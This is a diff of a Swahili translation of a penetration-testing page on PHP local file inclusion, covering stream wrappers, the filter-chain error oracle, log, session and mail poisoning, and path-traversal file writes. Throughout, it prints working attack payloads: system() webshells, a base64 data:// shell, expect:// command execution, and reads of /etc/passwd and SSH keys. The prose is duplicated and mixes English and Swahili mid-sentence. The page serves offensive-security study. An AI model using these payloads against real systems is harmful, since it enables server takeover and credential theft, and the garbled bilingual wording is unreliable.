> Kwa kutumia vibaya filter ya conversion `convert.iconv.*` unaweza **kutengeneza maandishi yoyote**, ambayo inaweza kusaidia kuandika maandishi yoyote au kumfanya function kama include kushughulikia maandishi yoyote. Kwa maelezo zaidi angalia [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
|
||||
- `zlib.inflate`: Decompress the data
|
||||
- `zlib.deflate`: Inapunguza ukubwa wa maudhui (useful if exfiltrating a lot of info)
|
||||
- `zlib.inflate`: Rejesha data iliyobanwa
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Deprecated
|
||||
- `mdecrypt.*` : Deprecated
|
||||
- Other Filters
|
||||
- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
|
||||
- Filters Nyingine
|
||||
- Ukiendesha ndani ya php `var_dump(stream_get_filters());` utapata jozi ya **filters zisizotarajiwa**:
|
||||
- `consumed`
|
||||
- `dechunk`: reverses HTTP chunked encoding
|
||||
- `dechunk`: huondoa HTTP chunked encoding
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> Sehemu "php://filter" haitegemei herufi (case insensitive)
|
||||
> Sehemu "php://filter" haina utofauti kati ya herufi kubwa na ndogo
|
||||
|
||||
### Kutumia php filters kama oracle kusoma faili yoyote
|
||||
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) imependekezwa mbinu ya kusoma faili ya ndani bila kupata output ikirejeshwa na server. Mbinu hii inategemea **boolean exfiltration of the file (char by char) using php filters** kama oracle. Hii ni kwa sababu php filters zinaweza kutumika kufanya maandishi kuwa makubwa vya kutosha hadi php itokee exception.
|
||||
[**Katika chapisho hiki**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) imependekezwa mbinu ya kusoma faili ya ndani bila kupata output ikirudishwa na server. Mbinu hii inategemea **boolean exfiltration of the file (char by char) using php filters** kama oracle. Hii ni kwa sababu php filters zinaweza kutumika kufanya maandishi kuwa marefu vya kutosha hadi php kusababisha exception.
|
||||
|
||||
Katika original post unaweza kupata maelezo ya kina ya mbinu, lakini hapa ni muhtasari mfupi:
|
||||
Katika chapisho la awali unaweza kupata maelezo ya kina ya mbinu, lakini hapa kuna muhtasari mfupi:
|
||||
|
||||
- Tumia codec **`UCS-4LE`** ili kuweka herufi ya mbele ya maandishi mwanzoni na kufanya ukubwa wa string kuongezeka kwa mfumuko.
|
||||
- Hii itatumika kuzalisha **maandishi ambayo ni makubwa sana wakati herufi ya kwanza inakisia kwa usahihi** kiasi kwamba php itasababisha **error**.
|
||||
- The **dechunk** filter itakayokuwa inafanya **remove everything if the first char is not an hexadecimal**, kwa hivyo tunaweza kujua kama herufi ya kwanza ni hex.
|
||||
- Hii, ikichanganywa na ile ya hapo juu (na filters nyingine kulingana na herufi inayokisia), itaturuhusu kukisia herufi mwanzoni kwa kuona lini tunafanya mabadiliko ya kutosha kuifanya isiwe tabia ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitafuta na bomu la mwanzo litasababisha php error.
|
||||
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). Hii inatuwezesha kugundua kama herufi ya kwanza ni `a`, kwa mfano, kwa sababu tukitumia codec hii mara 6 a->b->c->d->e->f->g herufi haitakuwa tena katika safu ya hexadecimal; hivyo dechunk haitaitoa na php error itachochewa kwa sababu inazidisha na bomu la mwanzo.
|
||||
- Kutumia mabadiliko mengine kama **rot13** mwanzoni inawezekana ku leak herufi nyingine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kuhamisha herufi nyingine katika safu ya hex).
|
||||
- Wakati herufi ya mwanzo ni namba ni lazima ui- base64 encode na leak herufi 2 za kwanza ili kupata namba.
|
||||
- Tatizo la mwisho ni kuona **jinsi ya leak zaidi ya herufi ya mwanzo**. Kwa kutumia order memory filters kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa herufi na kupata katika nafasi ya kwanza herufi nyingine za maandishi.
|
||||
- Na ili kuwa na uwezo wa kupata **further data** wazo ni **kuzalisha bytes 2 za takataka mwanzoni** kwa **convert.iconv.UTF16.UTF16**, tumia **UCS-4LE** ili kuifanya **pivot with the next 2 bytes**, na d**elete the data until the junk data** (hii itatoa bytes 2 za mwanzo za maandishi ya awali). Endelea kufanya hivi hadi ufikie sehemu unayotaka ku leak.
|
||||
- Tumia codec **`UCS-4LE`** kuweka herufi ya kwanza ya maandishi mwanzoni na kufanya ukubwa wa string ongezeke kwa kasi.
|
||||
- Hii itatumika kuunda **maandishi ambayo ni makubwa sana wakati herufi ya mwanzo inagongwa kwa usahihi** kiasi kwamba php itasababisha **error**
|
||||
- Filter ya **dechunk** itaondoa kila kitu ikiwa char ya kwanza si hexadecimal, hivyo tunaweza kujua ikiwa char ya kwanza ni hex.
|
||||
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi inayokadiriwa), itaturuhusu kugundua herufi mwanzoni mwa maandishi kwa kuona wakati tunapofanya mabadiliko ya kutosha ili kuifanya isiwe tabia ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litasababisha php error.
|
||||
- Codec **convert.iconv.UNICODE.CP930** hubadilisha kila herufi kuwa ile inayofuata (kwa hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua kama herufi ya kwanza ni `a` kwa mfano kwa sababu tukitumia mara 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena tabia ya hexadecimal, kwa hiyo dechunk haitaiondoa na php error itachochewa kwa sababu inazidisha na bomu la awali.
|
||||
- Kutumia mabadiliko mengine kama **rot13** mwanzoni inawezekana leak herufi nyingine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kusogeza herufi nyingine kwenye safu ya hex).
|
||||
- Wakati char ya mwanzo ni nambari inahitajika ku-encode kwa base64 na leak herufi 2 za kwanza ili leak nambari hiyo.
|
||||
- Tatizo la mwisho ni kuona **jinsi ya leak zaidi ya herufi ya mwanzo**. Kwa kutumia order memory filters kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha mpangilio wa chars na kupata katika nafasi ya kwanza herufi nyingine za maandishi.
|
||||
- Na ili kuwa na uwezo wa kupata **further data** wazo ni **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
|
||||
|
||||
Katika post pia ilifichuliwa zana ya kufanya hii kiotomatiki: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
Katika chapisho pia ilitolewa tool ya kufanya hili kiotomatiki: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Wrapper hii inaruhusu kufikia file descriptors ambazo process imefungua. Inaweza kuwa muhimu kuexfiltrate content ya files zilizo wazi:
|
||||
Wrapper hii inaruhusu kufikia file descriptors ambazo process imefungua. Inaweza kuwa muhimu ku-exfiltrate yaliyomo ya files zilizo wazi:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Unaweza pia kutumia **php://stdin, php://stdout and php://stderr** kufikia **file descriptors 0, 1 and 2** mtawalia (sijui jinsi hii ingekuwa muhimu katika shambulio)
|
||||
Unaweza pia kutumia **php://stdin, php://stdout and php://stderr** kufikia **file descriptors 0, 1 and 2** mtawalia (sina uhakika jinsi hili lingekuwa la msaada katika shambulio)
|
||||
|
||||
### zip:// and rar://
|
||||
|
||||
Pakia faili la Zip au Rar lenye PHPShell ndani na ufikie it.\
|
||||
Ili kuweza kutumia vibaya rar protocol, **inahitaji kuamilishwa kwa njia maalum**.
|
||||
Pakia faili la Zip au Rar lenye PHPShell ndani na upate ufikaji wake.\
|
||||
Ili uweze kutumia protokoli ya rar kwa matumizi mabaya, inahitaji **kuamilishwa maalum**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,11 +328,11 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Kumbuka kwamba itifaki hii imezuiwa na usanidi wa php **`allow_url_open`** na **`allow_url_include`**
|
||||
Kumbuka kuwa itifaki hii imezuiwa na mipangilio ya php **`allow_url_open`** na **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
Expect inapaswa kuamilishwa. Unaweza execute code kwa kutumia hii:
|
||||
Expect lazima iwe imewezeshwa. Unaweza kuendesha code kwa kutumia hii:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
Faili ya `.phar` inaweza kutumika kutekeleza msimbo wa PHP wakati programu ya wavuti inatumia kazi kama `include` kwa ajili ya kupakia faili. Mfano wa msimbo wa PHP uliotolewa hapa chini unaonyesha utengenezaji wa faili `.phar`:
|
||||
Faili ya `.phar` inaweza kutumika kutekeleza PHP code wakati web application inapotumia functions kama `include` kwa kupakia faili. Kipande cha PHP code kilichotolewa hapa chini kinaonyesha uundaji wa faili ya `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -360,7 +360,7 @@ php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
|
||||
|
||||
Kwenye kesi ambapo LFI inafanya tu kusoma faili bila kutekeleza msimbo wa PHP ndani yake, kupitia functions kama `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, au `filesize()`, kujaribu udhuru wa deserialization kunaweza kufanywa. Udhaifu huu unahusiana na kusoma faili kwa kutumia protocol ya `phar`.
|
||||
Katika matukio ambapo LFI inasoma tu faili bila kutekeleza msimbo wa PHP ndani yake, kupitia functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, inaweza kujaribiwa kutekeleza udhaifu wa deserialization. Udhaifu huu unahusiana na kusoma faili kwa kutumia `phar` protocol.
|
||||
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
@ -373,36 +373,36 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Ilikuwa inawezekana kutumia vibaya **any arbitrary file read from PHP that supports php filters** ili kupata RCE. Maelezo ya kina yanaweza [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Muhtasari mfupi: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
|
||||
Ilikuwa inawezekana ku-alloc chunks of specific sizes abusing more php filters.
|
||||
Ilikuwa inawezekana kutumia vibaya **any arbitrary file read from PHP that supports php filters** kupata RCE. Maelezo ya kina yanaweza [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Muhtasari mfupi: a **3 byte overflow** in the PHP heap ilitumika kuabusu ili **alter the chain of free chunks** of anspecific size katika mpango wa kuwa na uwezo wa **write anything in any address**, hivyo hook iliingizwa kuitwa **`system`**.\
|
||||
Ilikuwa inawezekana ku-alloc chunks za sizes maalum kwa kutumia zaidi php filters.
|
||||
|
||||
### More protocols
|
||||
|
||||
Angalia zaidi possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika kwenye memory au kwenye faili ya muda (siwezi kuona jinsi hii inaweza kuwa muhimu katika file inclusion attack)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Andika katika memory au katika faili ya muda (sihakiki jinsi hii inaweza kuwa ya msaada katika file inclusion attack)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Kufikia filesystem ya ndani
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Kufikia URLs za HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Kufikia URLs za FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mtiririko wa compression
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Kutafuta pathnames zinazofanana na pattern (Hakirudishi kitu chochote kinachoweza kuchapishwa, hivyo sio muhimu hapa)
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Kufikia HTTP(s) URLs
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Kufikia FTP(s) URLs
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Mitiririko ya compression
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Kutafuta pathnames zinazolingana na pattern (Hairudishi chochote kinachoweza kuchapishwa, hivyo siyo muhimu hapa)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Haifai kusoma faili za aina yoyote)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Mitiririko ya audio (Si ya matumizi kusoma arbitrary files)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Hatari za Local File Inclusion (LFI) katika PHP ni kubwa hasa pale unaposhughulika na function 'assert', ambayo inaweza kutekeleza msimbo uliomo katika strings. Hii ni tatizo hasa ikiwa ingizo lenye characters za directory traversal kama ".." linachunguzwa lakini halijasafishwa ipasavyo.
|
||||
Hatari za Local File Inclusion (LFI) katika PHP ni kubwa hasa unaposhughulika na function ya 'assert', ambayo inaweza kutekeleza code iliyomo ndani ya strings. Hii ni hasara hasa ikiwa input inayojumuisha tabia za directory traversal kama ".." inachunguzwa lakini haisafishwa ipasavyo.
|
||||
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Ingawa hili linakusudia kuzuia traversal, kwa bahati mbaya linaleta vektori ya code injection. Ili kutumia hili kusoma yaliyomo kwenye faili, mshambuliaji anaweza kutumia:
|
||||
Wakati hili linakusudia kuzuia traversal, bila kukusudia linaunda vector kwa code injection. Ili kulitumia kusoma yaliyomo ya faili, mshambuliaji anaweza kutumia:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
Vivyo hivyo, kwa kutekeleza amri za mfumo yoyote, mtu anaweza kutumia:
|
||||
Vivyo hivyo, kwa kutekeleza maamri yoyote ya mfumo, mtu anaweza kutumia:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
@ -411,15 +411,15 @@ Ni muhimu **URL-encode these payloads**.
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Mbinu hii inahusu matukio ambapo **undhibiti** **njia ya faili** ya **function ya PHP** ambayo itafikia faili lakini hautaona yaliyomo ya faili (kama simu rahisi kwa **`file()`**) lakini yaliyomo hayajaonyeshwa.
|
||||
> Teknika hii inahusiana katika kesi ambapo una **control** ya **file path** ya **PHP function** itakayofanya **access a file** lakini hautaona content ya file (mfano: simu rahisi ya **`file()`**) na content haijaonyeshwa.
|
||||
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezea jinsi blind path traversal inaweza kutumiwa kupitia PHP filter ili **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
Kwa muhtasari, mbinu inatumia **"UCS-4LE" encoding** ili kufanya yaliyomo ya faili kuwa hivyo **big** kiasi kwamba **PHP function inayofungua** faili itasababisha **kosa**.
|
||||
Kwa muhtasari, teknika inatumia **"UCS-4LE" encoding** kufanya content ya faili kuwa kubwa kiasi kwamba **PHP function** inayofungua faili itasababisha **error**.
|
||||
|
||||
Kisha, ili leak char ya kwanza filter **`dechunk`** inatumiwa pamoja na nyingine kama **base64** au **rot13**, na hatimaye filters **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** zinatumiwa kuweka chars nyingine mwanzoni na leak hizo.
|
||||
Kisha, ili leak the first char filter **`dechunk`** inatumiwa pamoja na wengine kama **base64** au **rot13**, na hatimaye filters **convert.iconv.UCS-4.UCS-4LE** na **convert.iconv.UTF16.UTF-16BE** zinatumika kuweka chars nyingine mwanzoni na kuzileak.
|
||||
|
||||
**Functions ambazo zinaweza kuwa hatarini**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Kwa maelezo ya kiufundi angalia chapisho lililotajwa!
|
||||
|
||||
@ -427,20 +427,20 @@ Kwa maelezo ya kiufundi angalia chapisho lililotajwa!
|
||||
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
|
||||
Wakati server-side code inayopokea/uploads files inajenga destination path kwa kutumia data inayodhibitiwa na mtumiaji (mfano, filename au URL) bila ku-canonicalize na ku-validate, segments za `..` na absolute paths zinaweza kutoroka directory iliyokusudiwa na kusababisha arbitrary file write. Ikiwa unaweza kuweka payload chini ya directory inayoweza kuonyeshwa kwenye web, kawaida unapata unauthenticated RCE kwa kutupa webshell.
|
||||
|
||||
Typical exploitation workflow:
|
||||
- Tambua primitive ya kuandika katika endpoint au background worker inayokubali path/filename na inaandika content kwenye disk (mfano, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
|
||||
- Tambua web-exposed directories. Mifano ya kawaida:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Tengeneza traversal path inayovunja kutoka directory ya kuhifadhi yaliyokusudiwa hadi webroot, na jumuisha webshell content yako.
|
||||
- Tembelea payload uliouacha na utekeleze amri.
|
||||
- Tambua write primitive katika endpoint au background worker inayokubali path/filename na kuandika content kwenye disk (mfano: message-driven ingestion, XML/JSON command handlers, ZIP extractors, n.k.).
|
||||
- Tambua directories zinazoweza kuonyeshwa kwenye web. Mifano ya kawaida:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Tengeneza traversal path inayovunja kutoka storage directory iliyokusudiwa hadi webroot, na ujumuishe webshell content yako.
|
||||
- Tembelea payload uliyoacha na utekeleze amri.
|
||||
|
||||
Vidokezo:
|
||||
- Huduma iliyo vulnerable inayofanya uandikaji inaweza kusikiliza kwenye port isiyo-HTTP (mfano, a JMF XML listener on TCP 4004). Portal kuu ya web (port tofauti) baadaye itahudumia payload yako.
|
||||
- Katika stacks za Java, uandishi wa faili mara nyingi umefanywa kwa concatenation rahisi ya `File`/`Paths`. Ukosefu wa canonicalisation/allow-listing ndio kasoro kuu.
|
||||
Notes:
|
||||
- The vulnerable service inayofanya write inaweza kusikiliza kwenye non-HTTP port (mfano, JMF XML listener kwenye TCP 4004). The main web portal (port tofauti) baadaye itahudumia payload yako.
|
||||
- Kwenye Java stacks, file writes hizi mara nyingi zinafanywa kwa concatenation rahisi ya `File`/`Paths`. Ukosefu wa canonicalisation/allow-listing ndilo kosa kuu.
|
||||
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
@ -466,26 +466,26 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Uimarishaji unaozuia aina hii ya hitilafu:
|
||||
- Tathmini kuwa path ni canonical na uhakikishe ni subdirectory ya directory ya msingi iliyoorodheshwa.
|
||||
- Kataa path yoyote yenye `..`, root za absolute, au herufi za drive; pendelea majina ya faili yaliyozalishwa.
|
||||
- Endesha writer kama akaunti yenye vibali vidogo na gawanya directories za kuandika kutoka kwa served roots.
|
||||
Mikakati ya kuimarisha ambayo huondoa aina hii ya bugs:
|
||||
- Tumia njia kanoni (canonical path) na hakikisha kuwa ni chini ya directory ya msingi iliyoorodheshwa (allow-listed).
|
||||
- Kataa njia yoyote yenye `..`, absolute roots, au drive letters; tumia zaidi majina ya faili yaliyotengenezwa.
|
||||
- Endesha mchakato wa kuandika (writer) kama akaunti yenye haki ndogo (low-privileged) na tofautisha directory za kuandika kutoka kwa served roots.
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||||
Imeelezwa hapo awali, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Via Apache/Nginx log file
|
||||
### Kupitia Apache/Nginx faili ya logi
|
||||
|
||||
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
|
||||
> Kumbuka kwamba **ukitumia double quotes** kwa shell badala ya **simple quotes**, double quotes zitatabadilishwa kwa string "_**quote;**_", **PHP itatoa kosa** hapo na **hakutakuwa na kitu kingine kitakachotekelezwa**.
|
||||
>
|
||||
> Pia, hakikisha umeandika payload ipasavyo au PHP itatoa kosa kila mara itakapojaribu kupakia log file na hautapata nafasi ya pili.
|
||||
> Pia, hakikisha una **andika payload vizuri** au PHP itatoa error kila mara inapojaribu kupakia faili ya logi na hutaweza kupata nafasi ya pili.
|
||||
|
||||
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
|
||||
Njia nyingine za log zinazowezekana:
|
||||
Njia nyingine zinazowezekana za logi:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -501,42 +501,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### Kupitia Barua pepe
|
||||
|
||||
**Tuma barua pepe** kwa akaunti ya ndani (user@localhost) ambayo ina PHP payload yako kama `<?php echo system($_REQUEST["cmd"]); ?>` na ujaribu kuijumuisha katika barua pepe ya mtumiaji kwa njia kama **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
|
||||
**Tuma barua pepe** kwa akaunti ya ndani (user@localhost) yenye PHP payload yako kama `<?php echo system($_REQUEST["cmd"]); ?>` na jaribu ku-include barua pepe ya mtumiaji kwa path kama **`/var/mail/<USERNAME>`** au **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Kupitia /proc/*/fd/*
|
||||
### Kupitia /proc/\*/fd/\*
|
||||
|
||||
1. Pakia shells nyingi (kwa mfano: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), ambapo $PID = PID ya process (can be brute forced) na $FD ni file descriptor (can be brute forced too)
|
||||
1. Pakia shells nyingi (kwa mfano : 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), na $PID = PID ya mchakato (can be brute forced) na $FD ni file descriptor (can be brute forced too)
|
||||
|
||||
### Kupitia /proc/self/environ
|
||||
|
||||
Kama faili ya log, tuma payload kwenye User-Agent; itaonekana ndani ya faili /proc/self/environ
|
||||
Kama faili la log, tuma payload katika User-Agent, itaonekana ndani ya /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Kupitia upload
|
||||
### Kupakia
|
||||
|
||||
Ikiwa unaweza upload faili, ingiza tu shell payload ndani yake (e.g : `<?php system($_GET['c']); ?>` ).
|
||||
Ikiwa unaweza kupakia faili, ingiza shell payload ndani yake (e.g : `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Ili kufanya faili iwe rahisi kusomeka, ni bora kuingiza kwenye metadata ya picha/doc/pdf
|
||||
Ili faili isomeke vizuri ni bora kuingiza kwenye metadata ya picha/doc/pdf
|
||||
|
||||
### Kupakia faili la ZIP
|
||||
### Kupitia ZIP file upload
|
||||
|
||||
Pakia ZIP file iliyo na PHP shell iliyobanwa, kisha upate ufikiaji:
|
||||
Pakia ZIP file inayojumuisha PHP shell iliyobanwa kisha ufikie:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Kupitia PHP sessions
|
||||
|
||||
Angalia kama tovuti inatumia PHP Session (PHPSESSID)
|
||||
Angalia ikiwa tovuti inatumia PHP Session (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
Katika PHP sessions hizi zinahifadhiwa ndani ya _/var/lib/php5/sess\\_\[PHPSESSID]\_ files
|
||||
Katika PHP vikao hivi vinahifadhiwa katika _/var/lib/php5/sess\\_\[PHPSESSID]\_ mafaili
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
@ -551,18 +551,18 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
||||
```
|
||||
### Kupitia ssh
|
||||
|
||||
Ikiwa ssh iko active, angalia ni user gani anatumika (/proc/self/status & /etc/passwd) na jaribu kufikia **\<HOME>/.ssh/id_rsa**
|
||||
Ikiwa ssh inafanya kazi angalia ni mtumiaji gani anayetumika (/proc/self/status & /etc/passwd) na jaribu kufikia **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Kupitia** **vsftpd** _**rejista**_
|
||||
### **Kupitia** **vsftpd** _**logs**_
|
||||
|
||||
Rejista za FTP server vsftpd zipo katika _**/var/log/vsftpd.log**_. Katika hali ambapo Local File Inclusion (LFI) vulnerability ipo, na upatikanaji wa server ya vsftpd iliyo wazi unawezawezekana, hatua zifuatazo zinaweza kuzingatiwa:
|
||||
Logs za server ya FTP vsftpd ziko katika _**/var/log/vsftpd.log**_. Katika tukio ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa exposed vsftpd server unapatikana, hatua zifuatazo zinaweza kuzingatiwa:
|
||||
|
||||
1. Injiza payload ya PHP kwenye uwanja wa username wakati wa mchakato wa login.
|
||||
2. Baada ya injection, tumia LFI kupata rejista za server kutoka _**/var/log/vsftpd.log**_.
|
||||
1. Ingiza payload ya PHP kwenye sehemu ya username wakati wa mchakato wa kuingia.
|
||||
2. Baada ya injection, tumia LFI kupata logs za server kutoka _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Kupitia php base64 filter (kutumia base64)
|
||||
### Kupitia php base64 filter (using base64)
|
||||
|
||||
